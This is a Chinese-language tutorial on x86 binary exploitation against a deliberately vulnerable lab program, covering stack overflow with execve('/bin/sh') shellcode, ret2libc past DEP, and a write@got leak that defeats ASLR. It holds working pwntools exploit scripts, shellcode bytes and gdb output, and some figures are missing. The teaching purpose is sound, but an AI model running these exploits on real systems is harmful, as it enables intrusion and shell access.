一步一步学ROP之x86篇

0x1 ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

0x2 Control Flow Hijack 程序流劫持

比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御措施也提出了各种防御方法,最常见的防御方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。

我们先从最简单的没有任何保护的程序开始,随后在一步步增加各种防御措施,接着在学习绕过的方法。首先看这个有明显缓冲区溢出的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

gcc -fno-stack-protector -z execstack -o level1 level1.c编译。-fno-stack-protector-z execstack这两个参数会分别关掉DEP和stack protector。同时我们在shell中执行:

这几条命令是用来查看ASLR是否开启。用cat命令查看randomize_va_space的值,输出的结果可能是0、1或者2,简单的来说,它们的含义如下所示:
0:禁用
1:除堆以外随机化
2:全部随机化(默认)

接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置:

2

我们可以得到内存出错的地址为:0x41416d41,然后通过pattern offset addr计算出PC返回值的覆盖点为140个字节。只要构造一个”A”*140+ret字符串,就可以让PC执行ret_addr上的代码了。

接下来需要一段shellcode,可以用msf生成,或者是自己反编译。网上也有现成的shellcode,可以根据自己的需求去下载。https://www.exploit-db.com/shellcode/

这里我就用现成的shellcode:

1
2
3
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

这里我们使用一段最简单的执行execve("/bin/sh")命令作为shellcode,溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上,我们可以这样来构造payload=shellcode+'a'*140+ret_addr。看了蒸米的文章,说shellcode的地址是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的地址。但是你真的执行exp的时候你会发现shellcode根本就不在这个地址上。原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,当我们执行./level1的时候,buf的位置会固定在别的地址上。要解决这个问题,我们需要开启core dump或者attach到运行的程序上来看运行时的栈的地址。通过ulimit -c unlimited来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。

运行ulimit -c unlimited这条命令,然后让程序崩溃,会在桌面上生成一个core的文件

4

然后使用gdb查看这个查看core文件就可以获取到buf真正的地址。

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~/Desktop# gdb level1 core
gdb-peda$ x/10s $esp-144
0xbffff310: "ABCD", 'A' <repeats 140 times>, "\n\363\377\277"
0xbffff3a5: ""
0xbffff3a6: ""
0xbffff3a7: ""
0xbffff3a8: ""
0xbffff3a9: ""
0xbffff3aa: ""
0xbffff3ab: ""
0xbffff3ac: "vb\341\267\001"
0xbffff3b2: ""

因为溢出点是140个字节,再加上4个字节的返回地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令x/10s $esp-144,我们可以得到buffer的地址为0xbffff310。

现在shellcode和ret_addr都有了,接下来可以去利用了。利用的脚本如下:

1
2
3
4
5
6
7
8
9
from pwn import *
p=process('./level1')
ret_addr=0xbffff310
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload=shellcode+'A'*(140-len(shellcode))+p32(ret_addr)
p.send(payload)
p.interactive()

接下来我们把目标程序绑定到某个服务器的端口上,这里我们可以使用socat这个工具来完成,命令如下:socat TCP4-LISTEN:5555,fork EXEC:./level1

因为现在目标程序是跑在socat的环境中,要把脚本中的p=process(‘./level1’)换成p=remote(‘127.0.0.1’,5555)。但是ret_addr还会发生改变,解决方法还是采用core dump的方案,然后用gdb调试core文件获取返回地址,然后就可以进行远程溢出了。

0x2 通过ret2libc绕过DEP防护

现在我们把DEP打开,依然关闭stack protector和ASLR。编译的方法如下:gcc -fno-stack-protector -o level2 level2.c这时候如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。通过cat /proc/[pid]/maps查看,你会发现level1的stack是rwx,但是level2的stack却是rw的。

1
2
level1: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
level2: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]

注意:可以用命令ps -aef | grep file查看pid,但是需要注意的是,先让程序运行在执行命令,否则pid一直在变化。然后用cat /proc/[pid]/maps | grep stack查看程序在栈上的权限。

如何去执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们可以让程序执行system('/bin/sh')的话,也可以获取shell。思路有了,接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,而且这个字符串的地址也是固定的。接下来我们需要找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

5

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e38b30以及”/bin/sh”的地址0xb7f5ad28。接下来开始写exp:

1
2
3
4
5
6
7
from pwn import *
p = process('./level2')
system_addr=0xb7e38b30
binsh_addr=0xb7f5ad28
payload = 'A'*140+p32(system_addr)+p32(4)+p32(binsh_addr)
p.send(payload)
p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个作为返回地址。下面我们测试一下exp:

6

0x3 通过ROP绕过DEP和ASLR防护

接下来打开ASLR保护

7

现在我们测试一下level2的exp,发现已经不能用了。

通过ldd查看,可以发现每次libc.so都是变化的。

8

如何解决地址随机化的问题?思路是:我们需要先泄露libc.so某些函数在内存中法人地址,然后在利用泄露出的函数根据偏移量计算出system()函数的地址和/bin/sh字符串在内存中的地址,然后执行ret2libc的shellcode。既然栈、libc、heap的地址都是随机的,怎么样才能泄露libc的地址呢?

所以只要把返回值设置到程序本身就可以执行我们期望的指令。首先利用objdump来查看可以利用的plt函数和函数对应的got表:

9

10

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got跳转到真正的write()函数上去。

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取shell。

使用ldd命令可以查看目标程序调用的so库。然后把libc.so拷贝到当前目录,因为exp需要这个so文件来计算相对地址:

11

最后利用的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
libc=ELF('libc.so')
elf=ELF('./level2')
p=process('./level2')
write_plt=elf.symbols['write']
print 'write_plt='+hex(write_plt)
write_got=elf.got['write']
print 'write_got='+hex(write_got)
vulfun_addr = 0x804844d
print 'vulfun='+hex(vulfun_addr)
payload1='A'*140+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)
write_addr=u32(p.recv(4))
print 'write_addr='+hex(write_addr)
system_addr=write_addr-(libc.symbols['write'] - libc.symbols['system'])
print 'system_addr='+hex(system_addr)
binsh_addr=write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr='+hex(binsh_addr)
payload2='A'*140+p32(system_addr)+p32(vulfun_addr)+p32(binsh_addr)
p.send(payload2)
p.interactive()

12